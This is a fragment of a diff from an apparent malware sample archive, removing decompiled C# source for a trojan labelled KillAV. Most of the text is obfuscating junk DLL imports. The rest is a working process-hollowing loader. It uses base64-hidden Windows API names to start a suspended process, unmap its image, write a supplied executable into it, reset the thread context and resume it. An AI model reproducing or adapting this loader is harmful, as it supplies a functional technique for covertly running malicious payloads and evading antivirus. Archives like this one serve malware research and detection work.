LbfiZybHqmavlcqBjjWJj); - - [DllImport("YCSkFYSInwwuzyrydqpGKMEd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GThPgSWvkhbtqNjIOKVZnJKUd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string skVDFZCHUfzNBmOkjLsKvza, - string[] BMGYVrOmeamDSnbkIDgiPi, - char owlRabZeCIQtHGWacUtJB); - - [DllImport("XueouqDTiprBYTwyflFNChdd.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lTVpSXlhQdDEenzcvayRqRcWo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string chSZgwXWmcfXvZECjYsjanx, - string[] ggUUuEQsMrPhtheYqnLuFL, - char HTjkGIRoWzPvCVdTyttsx); - - [DllImport("xUguctfjKxvpIFbwWbXjmCXY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ibiNnZpsvnMpUEzoJzqEOxwkW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hrmQfxSlgVBKLJOyrydqpGK, - string[] MEdskVDFZCHUfzNBmOkjLs, - char KvzaBMGYVrOmeamDSnbkI); - - [DllImport("BlTVpSXlhQdDEenzcvayRqRc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DgiPiowlRabZeCIQtHGWacUtJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WoXueouqDTiprBYTwyflFNC, - string[] hddchSZgwXWmcfXvZECjYs, - char janxggUUuEQsMrPhtheYq); - - [DllImport("xibiNnZpsvnMpUEzoJzqEOxw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nLuFLHTjkGIRoWzPvCVdTytts( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kWxUguctfjKxvpIFbwWbXjm, - string[] CXYhrmQfxSlgVBKLJOyryd, - char qpGKMEdskVDFZCHUfzNBm); - - [DllImport("IDgiPiowlRabZeCIQtHGWacU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OkjLsKvzaBMGYVrOmeamDSnbk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tJBlTVpSXlhQdDEenzcvayR, - string[] qRcWoXueouqDTiprBYTwyf, - char lFNChddchSZgwXWmcfXvZ); - - [DllImport("qnLuFLHTjkGIRoWzPvCVdTyt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ECjYsjanxggUUuEQsMrPhtheY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tsxibiNnZpsvnMpUEzoJzqE, - string[] OxwkWxUguctfjKxvpIFbwW, - char bXjmCXYhrmQfxSlgVBKLJ); - - [DllImport("mOkjLsKvzaBMGYVrOmeamDSn.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OyrydqpGKMEdskVDFZCHUfzNB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bkIDgiPiowlRabZeCIQtHGW, - string[] acUtJBlTVpSXlhQdDEenzc, - char vayRqRcWoXueouqDTiprB); - - [DllImport("ZECjYsjanxggUUuEQsMrPhth.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YTwyflFNChddchSZgwXWmcfXv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eYqnLuFLHTjkGIRoWzPvCVd, - string[] TyttsxibiNnZpsvnMpUEzo, - char JzqEOxwkWxUguctfjKxvp); - - [DllImport("JOyrydqpGKMEdskVDFZCHUfz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IFbwWbXjmCXYhrmQfxSlgVBKL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NBmOkjLsKvzaBMGYVrOmeam, - string[] DSnbkIDgiPiowlRabZeCIQ, - char tHGWacUtJBlTVpSXlhQdD); - - [DllImport("BYTwyflFNChddchSZgwXWmcf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EenzcvayRqRcWoXueouqDTipr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XvZECjYsjanxggUUuEQsMrP, - string[] htheYqnLuFLHTjkGIRoWzP, - char vCVdTyttsxibiNnZpsvnM); - - [DllImport("pIFbwWbXjmCXYhrmQfxSlgVB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pUEzoJzqEOxwkWxUguctfjKxv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KLJOyrydqpGKMEdskVDFZCH, - string[] UfzNBmOkjLsKvzaBMGYVrO, - char meamDSnbkIDgiPiowlRab); - - [DllImport("DEenzcvayRqRcWoXueouqDTi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZeCIQtHGWacUtJBlTVpSXlhQd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string prBYTwyflFNChddchSZgwXW, - string[] mcfXvZECjYsjanxggUUuEQ, - char sMrPhtheYqnLuFLHTjkGI); - - [DllImport("MpUEzoJzqEOxwkWxUguctfjK.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RoWzPvCVdTyttsxibiNnZpsvn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xvpIFbwWbXjmCXYhrmQfxSl, - string[] gVBKLJOyrydqpGKMEdskVD, - char FZCHUfzNBmOkjLsKvzaBM); - - [DllImport("bZeCIQtHGWacUtJBlTVpSXlh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GYVrOmeamDSnbkIDgiPiowlRa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QdDEenzcvayRqRcWoXueouq, - string[] DTiprBYTwyflFNChddchSZ, - char gwXWmcfXvZECjYsjanxgg); - - [DllImport("IRoWzPvCVdTyttsxibiNnZps.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UUuEQsMrPhtheYqnLuFLHTjkG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vnMpUEzoJzqEOxwkWxUguct, - string[] fjKxvpIFbwWbXjmCXYhrmQ, - char fxSlgVBKLJOyrydqpGKME); - - [DllImport("MGYVrOmeamDSnbkIDgiPiowl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dskVDFZCHUfzNBmOkjLsKvzaB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RabZeCIQtHGWacUtJBlTVpS, - string[] XlhQdDEenzcvayRqRcWoXu, - char eouqDTiprBYTwyflFNChd); - - [DllImport("gUUuEQsMrPhtheYqnLuFLHTj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dchSZgwXWmcfXvZECjYsjanxg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kGIRoWzPvCVdTyttsxibiNn, - string[] ZpsvnMpUEzoJzqEOxwkWxU, - char guctfjKxvpIFbwWbXjmCX); - - [DllImport("EdskVDFZCHUfzNBmOkjLsKvz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YhrmQfxSlgVBKLJOyrydqpGKM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aBMGYVrOmeamDSnbkIDgiPi, - string[] owlRabZeCIQtHGWacUtJBl, - char TVpSXlhQdDEenzcvayRqR); - - [DllImport("ddchSZgwXWmcfXvZECjYsjan.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cWoXueouqDTiprBYTwyflFNCh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xggUUuEQsMrPhtheYqnLuFL, - string[] HTjkGIRoWzPvCVdTyttsxi, - char biNnZpsvnMpUEzoJzqEOx); - - [DllImport("XYhrmQfxSlgVBKLJOyrydqpG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wkWxUguctfjKxvpIFbwWbXjmC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KMEdskVDFZCHUfzNBmOkjLs, - string[] KvzaBMGYVrOmeamDSnbkID, - char giPiowlRabZeCIQtHGWac); - - [DllImport("RcWoXueouqDTiprBYTwyflFN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UtJBlTVpSXlhQdDEenzcvayRq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ChddchSZgwXWmcfXvZECjYs, - string[] janxggUUuEQsMrPhtheYqn, - char LuFLHTjkGIRoWzPvCVdTy); - - [DllImport("xwkWxUguctfjKxvpIFbwWbXj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ttsxibiNnZpsvnMpUEzoJzqEO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mCXYhrmQfxSlgVBKLJOyryd, - string[] qpGKMEdskVDFZCHUfzNBmO, - char kjLsKvzaBMGYVrOmeamDS); - - [DllImport("cUtJBlTVpSXlhQdDEenzcvay.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nbkIDgiPiowlRabZeCIQtHGWa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RqRcWoXueouqDTiprBYTwyf, - string[] lFNChddchSZgwXWmcfXvZE, - char CjYsjanxggUUuEQsMrPht); - - [DllImport("yttsxibiNnZpsvnMpUEzoJzq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] heYqnLuFLHTjkGIRoWzPvCVdT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EOxwkWxUguctfjKxvpIFbwW, - string[] bXjmCXYhrmQfxSlgVBKLJO, - char yrydqpGKMEdskVDFZCHUf); - - [DllImport("SnbkIDgiPiowlRabZeCIQtHG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zNBmOkjLsKvzaBMGYVrOmeamD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WacUtJBlTVpSXlhQdDEenzc, - string[] vayRqRcWoXueouqDTiprBY, - char TwyflFNChddchSZgwXWmc); - - [DllImport("theYqnLuFLHTjkGIRoWzPvCV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fXvZECjYsjanxggUUuEQsMrPh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dTyttsxibiNnZpsvnMpUEzo, - string[] JzqEOxwkWxUguctfjKxvpI, - char FbwWbXjmCXYhrmQfxSlgV); - - [DllImport("fzNBmOkjLsKvzaBMGYVrOmea.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BKLJOyrydqpGKMEdskVDFZCHU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mDSnbkIDgiPiowlRabZeCIQ, - string[] tHGWacUtJBlTVpSXlhQdDE, - char enzcvayRqRcWoXueouqDT); - - [DllImport("cfXvZECjYsjanxggUUuEQsMr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iprBYTwyflFNChddchSZgwXWm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PhtheYqnLuFLHTjkGIRoWzP, - string[] vCVdTyttsxibiNnZpsvnMp, - char UEzoJzqEOxwkWxUguctfj); - - [DllImport("VBKLJOyrydqpGKMEdskVDFZC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KxvpIFbwWbXjmCXYhrmQfxSlg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HUfzNBmOkjLsKvzaBMGYVrO, - string[] meamDSnbkIDgiPiowlRabZ, - char eCIQtHGWacUtJBlTVpSXl); - - [DllImport("TiprBYTwyflFNChddchSZgwX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hQdDEenzcvayRqRcWoXueouqD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WmcfXvZECjYsjanxggUUuEQ, - string[] sMrPhtheYqnLuFLHTjkGIR, - char oWzPvCVdTyttsxibiNnZp); - - [DllImport("jKxvpIFbwWbXjmCXYhrmQfxS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] svnMpUEzoJzqEOxwkWxUguctf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lgVBKLJOyrydqpGKMEdskVD, - string[] FZCHUfzNBmOkjLsKvzaBMG, - char YVrOmeamDSnbkIDgiPiow); - - [DllImport("lhQdDEenzcvayRqRcWoXueou.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lRabZeCIQtHGWacUtJBlTVpSX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qDTiprBYTwyflFNChddchSZ, - string[] gwXWmcfXvZECjYsjanxggU, - char UuEQsMrPhtheYqnLuFLHT); - - [DllImport("psvnMpUEzoJzqEOxwkWxUguc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jkGIRoWzPvCVdTyttsxibiNnZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tfjKxvpIFbwWbXjmCXYhrmQ, - string[] fxSlgVBKLJOyrydqpGKMEd, - char skVDFZCHUfzNBmOkjLsKv); - - [DllImport("wlRabZeCIQtHGWacUtJBlTVp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zaBMGYVrOmeamDSnbkIDgiPio( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SXlhQdDEenzcvayRqRcWoXu, - string[] eouqDTiprBYTwyflFNChdd, - char chSZgwXWmcfXvZECjYsja); - - [DllImport("TjkGIRoWzPvCVdTyttsxibiN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nxggUUuEQsMrPhtheYqnLuFLH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nZpsvnMpUEzoJzqEOxwkWxU, - string[] guctfjKxvpIFbwWbXjmCXY, - char hrmQfxSlgVBKLJOyrydqp); - - [DllImport("vzaBMGYVrOmeamDSnbkIDgiP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GKMEdskVDFZCHUfzNBmOkjLsK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string iowlRabZeCIQtHGWacUtJBl, - string[] TVpSXlhQdDEenzcvayRqRc, - char WoXueouqDTiprBYTwyflF); - - [DllImport("anxggUUuEQsMrPhtheYqnLuF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NChddchSZgwXWmcfXvZECjYsj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string LHTjkGIRoWzPvCVdTyttsxi, - string[] biNnZpsvnMpUEzoJzqEOxw, - char kWxUguctfjKxvpIFbwWbX); - - [DllImport("pGKMEdskVDFZCHUfzNBmOkjL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jmCXYhrmQfxSlgVBKLJOyrydq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sKvzaBMGYVrOmeamDSnbkID, - string[] giPiowlRabZeCIQtHGWacU, - char tJBlTVpSXlhQdDEenzcva); - - [DllImport("FNChddchSZgwXWmcfXvZECjY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yRqRcWoXueouqDTiprBYTwyfl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sjanxggUUuEQsMrPhtheYqn, - string[] LuFLHTjkGIRoWzPvCVdTyt, - char tsxibiNnZpsvnMpUEzoJz); - - [DllImport("XjmCXYhrmQfxSlgVBKLJOyry.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qEOxwkWxUguctfjKxvpIFbwWb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dqpGKMEdskVDFZCHUfzNBmO, - string[] kjLsKvzaBMGYVrOmeamDSn, - char bkIDgiPiowlRabZeCIQtH); - - [DllImport("ayRqRcWoXueouqDTiprBYTwy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GWacUtJBlTVpSXlhQdDEenzcv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string flFNChddchSZgwXWmcfXvZE, - string[] CjYsjanxggUUuEQsMrPhth, - char eYqnLuFLHTjkGIRoWzPvC); - - [DllImport("zqEOxwkWxUguctfjKxvpIFbw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VdTyttsxibiNnZpsvnMpUEzoJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WbXjmCXYhrmQfxSlgVBKLJO, - string[] yrydqpGKMEdskVDFZCHUfz, - char NBmOkjLsKvzaBMGYVrOme); - - [DllImport("HGWacUtJBlTVpSXlhQdDEenz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] amDSnbkIDgiPiowlRabZeCIQt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cvayRqRcWoXueouqDTiprBY, - string[] TwyflFNChddchSZgwXWmcf, - char XKmRPxlHwnCMuuhhJReGZ); - - [DllImport("QjqgMHIGLwpwbCnDHKBaDiSO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FduHusmFCYITZVgxyUVfDjNdJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string DXNEScLLxkLhuJqItxXMJDV, - string[] SpLjplwBPkmvGzdtMgztjP, - char YYXbNGNrEETXaSqGyiQTn); - - [DllImport("rozRfBoxWRtvcwCKzfoonsPW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QUisObOBcywZHYKOnOZTliGbz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dIVUknqiHWPyhjEgkyverRR, - string[] sBNpJoNeFepjClIrDJFQhv, - char EFPmhLMszSaQvqrpufmtK); - - [DllImport("ZFduHusmFCYITZVgxyUVfDjN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lkBqtkKmRPxlHwnCMuuhhJReG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dJQjqgMHIGLwpwbCnDHKBaD, - string[] iSODXNEScLLxkLhuJqItxX, - char MJDVSpLjplwBPkmvGzdtM); - - [DllImport("nQUisObOBcywZHYKOnOZTliG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gztjPYYXbNGNrEETXaSqGyiQT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bzrozRfBoxWRtvcwCKzfoon, - string[] sPWdIVUknqiHWPyhjEgkyv, - char erRRsBNpJoNeFepjClIrD); - - [DllImport("KlkBqtkKmRPxlHwnCMuuhhJR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JFQhvEFPmhLMszSaQvqrpufmt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eGZFduHusmFCYITZVgxyUVf, - string[] DjNdJQjqgMHIGLwpwbCnDH, - char KBaDiSODXNEScLLxkLhuJ); - - [DllImport("MgztjPYYXbNGNrEETXaSqGyi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qItxXMJDVSpLjplwBPkmvGzdt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QTnQUisObOBcywZHYKOnOZT, - string[] liGbzrozRfBoxWRtvcwCKz, - char foonsPWdIVUknqiHWPyhj); - - [DllImport("DJFQhvEFPmhLMszSaQvqrpuf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EgkyverRRsBNpJoNeFepjClIr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mtKlkBqtkKmRPxlHwnCMuuh, - string[] hJReGZFduHusmFCYITZVgx, - char yUVfDjNdJQjqgMHIGLwpw); - - [DllImport("JqItxXMJDVSpLjplwBPkmvGz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] bCnDHKBaDiSODXNEScLLxkLhu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dtMgztjPYYXbNGNrEETXaSq, - string[] GyiQTnQUisObOBcywZHYKO, - char nOZTliGbzrozRfBoxWRtv); - - [DllImport("jEgkyverRRsBNpJoNeFepjCl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cwCKzfoonsPWdIVUknqiHWPyh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IrDJFQhvEFPmhLMszSaQvqr, - string[] pufmtKlkBqtkKmRPxlHwnC, - char MuuhhJReGZFduHusmFCYI); - - [DllImport("wbCnDHKBaDiSODXNEScLLxkL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] TZVgxyUVfDjNdJQjqgMHIGLwp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string huJqItxXMJDVSpLjplwBPkm, - string[] vGzdtMgztjPYYXbNGNrEET, - char XaSqGyiQTnQUisObOBcyw); - - [DllImport("vcwCKzfoonsPWdIVUknqiHWP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZHYKOnOZTliGbzrozRfBoxWRt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yhjEgkyverRRsBNpJoNeFep, - string[] jClIrDJFQhvEFPmhLMszSa, - char QvqrpufmtKlkBqtkKmRPx); - - public T DSLudfzcguranNNowJlF(string kJaBalfxhEnyFBMdrzBL, string idHIovOWMrmnlqbipGhg) => (T) Marshal.GetDelegateForFunctionPointer(yvHKZuvFPKnDWpJ.GetProcAddress(yvHKZuvFPKnDWpJ.LoadLibraryA(ref kJaBalfxhEnyFBMdrzBL), ref idHIovOWMrmnlqbipGhg), typeof (T)); - - public object jbBQIsacwZesDXk(byte[] MiScieqIJefoMtXmTZsB, string qWRSQVGyGkLwNQTLkNrc) - { - yvHKZuvFPKnDWpJ.wmpgGiNLthDsjxIqqddF giNlthDsjxIqqddF = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E="))); - yvHKZuvFPKnDWpJ.pLyIfaEGmGMUJoxywCZg ifaEgmGmuJoxywCzg = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA=="))); - yvHKZuvFPKnDWpJ.dqFmEptTIFyROkHflhsw eptTiFyRokHflhsw = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk="))); - yvHKZuvFPKnDWpJ.guranNNowJlFkJaBalfx guranNnowJlFkJaBalfx = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg="))); - yvHKZuvFPKnDWpJ.alfxhEnyFBMdrzBLidHI alfxhEnyFbMdrzBlidHi = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5"))); - yvHKZuvFPKnDWpJ.SOaqGNPYvqUWDJckaGBB gnpYvqUwdJckaGbb = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA=="))); - yvHKZuvFPKnDWpJ.PTWOmCueMPjMQeoKXKwY omCueMpjMqeoKxKwY = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk"))); - yvHKZuvFPKnDWpJ.WyeOKyTJzOYHHtgHdqFm okyTjzOyhHtgHdqFm = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24="))); - IntPtr zero1 = IntPtr.Zero; - IntPtr[] dfzcguranNNowJlFkJaB = new IntPtr[4]; - byte[] vbkkjoLSZERQgjmeDSLu = new byte[68]; - int int32_1 = BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, 60); - int int16 = (int) BitConverter.ToInt16(MiScieqIJefoMtXmTZsB, checked (int32_1 + 6)); - IntPtr yfJZFMfmcIDECHslsXxj = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 84))); - if (giNlthDsjxIqqddF((string) null, new StringBuilder(qWRSQVGyGkLwNQTLkNrc), zero1, zero1, false, 4, zero1, (string) null, vbkkjoLSZERQgjmeDSLu, dfzcguranNNowJlFkJaB)) - { - uint[] numArray1 = new uint[179]; - numArray1[0] = 65538U; - if (ifaEgmGmuJoxywCzg(dfzcguranNNowJlFkJaB[1], numArray1)) - { - IntPtr JnzzPTWOmCueMPjMQeoK = new IntPtr(checked ((long) numArray1[41] + 8L)); - IntPtr zero2 = IntPtr.Zero; - IntPtr nkvNbwktSNprYsxGvbkk = new IntPtr(4); - IntPtr zero3 = IntPtr.Zero; - if (eptTiFyRokHflhsw(dfzcguranNNowJlFkJaB[0], JnzzPTWOmCueMPjMQeoK, ref zero2, (int) nkvNbwktSNprYsxGvbkk, ref zero3) && okyTjzOyhHtgHdqFm(dfzcguranNNowJlFkJaB[0], zero2) == 0U) - { - IntPtr num1 = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 52))); - IntPtr num2 = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 80))); - IntPtr GiNLthDsjxIqqddFNaCV = guranNnowJlFkJaBalfx(dfzcguranNNowJlFkJaB[0], num1, num2, 12288, 64); - int int32_2 = GiNLthDsjxIqqddFNaCV.ToInt32(); - int yDGwWyeOKyTJzOYHHtgH; - int num3 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], GiNLthDsjxIqqddFNaCV, MiScieqIJefoMtXmTZsB, checked ((uint) (int) yfJZFMfmcIDECHslsXxj), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst = new int[10]; - Buffer.BlockCopy((Array) MiScieqIJefoMtXmTZsB, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40); - byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)]; - Buffer.BlockCopy((Array) MiScieqIJefoMtXmTZsB, dst[5], (Array) numArray2, 0, numArray2.Length); - num2 = new IntPtr(checked (int32_2 + dst[3])); - num1 = new IntPtr(numArray2.Length); - int num6 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], num2, numArray2, checked ((uint) (int) num1), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - checked { ++num5; } - } - num2 = new IntPtr(checked ((long) numArray1[41] + 8L)); - num1 = new IntPtr(4); - int num7 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], num2, BitConverter.GetBytes(GiNLthDsjxIqqddFNaCV.ToInt32()), checked ((uint) (int) num1), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - numArray1[44] = checked ((uint) (GiNLthDsjxIqqddFNaCV.ToInt32() + BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, int32_1 + 40))); - int num8 = gnpYvqUwdJckaGbb(dfzcguranNNowJlFkJaB[1], numArray1) ? 1 : 0; - } - } - int num = (int) omCueMpjMqeoKxKwY(dfzcguranNNowJlFkJaB[1]); - } - return (object) null; - } - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool wmpgGiNLthDsjxIqqddF( - string NaCVBZqDqoiBxUEPVRct, - StringBuilder uQRbyfJZFMfmcIDECHsl, - IntPtr sXxjyDGwWyeOKyTJzOYH, - IntPtr HtgHdqFmEptTIFyROkHf, - [MarshalAs(UnmanagedType.Bool)] bool lhswLgirBvZpIcvpfLUU, - int TXJCJnzzPTWOmCueMPjM, - IntPtr QeoKXKwYusVDUGKjKVPh, - string eCXvnkvNbwktSNprYsxG, - byte[] vbkkjoLSZERQgjmeDSLu, - IntPtr[] dfzcguranNNowJlFkJaB); - - public delegate bool alfxhEnyFBMdrzBLidHI( - IntPtr ovOWMrmnlqbipGhgwmpg, - IntPtr GiNLthDsjxIqqddFNaCV, - byte[] BZqDqoiBxUEPVRctuQRb, - uint yfJZFMfmcIDECHslsXxj, - int yDGwWyeOKyTJzOYHHtgH); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool dqFmEptTIFyROkHflhsw( - IntPtr LgirBvZpIcvpfLUUTXJC, - IntPtr JnzzPTWOmCueMPjMQeoK, - ref IntPtr XKwYusVDUGKjKVPheCXv, - int nkvNbwktSNprYsxGvbkk, - ref IntPtr joLSZERQgjmeDSLudfzc); - - public delegate IntPtr guranNNowJlFkJaBalfx( - IntPtr hEnyFBMdrzBLidHIovOW, - IntPtr MrmnlqbipGhgwmpgGiNL, - IntPtr thDsjxIqqddFNaCVBZqD, - int qoiBxUEPVRctuQRbyfJZ, - int FMfmcIDECHslsXxjyDGw); - - public delegate uint WyeOKyTJzOYHHtgHdqFm( - IntPtr EptTIFyROkHflhswLgir, - IntPtr BvZpIcvpfLUUTXJCJnzz); - - public delegate uint PTWOmCueMPjMQeoKXKwY(IntPtr usVDUGKjKjdvsPlKCxKa); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool pLyIfaEGmGMUJoxywCZg( - IntPtr nRedtxzrRgYJqsOquJFn, - uint[] CabCLXzTxWoOoztMuSCM); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool SOaqGNPYvqUWDJckaGBB( - IntPtr zFpwEUutKzDuTwbZHvQH, - uint[] xLVEErrSbnQjPmFRFDwO); -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs 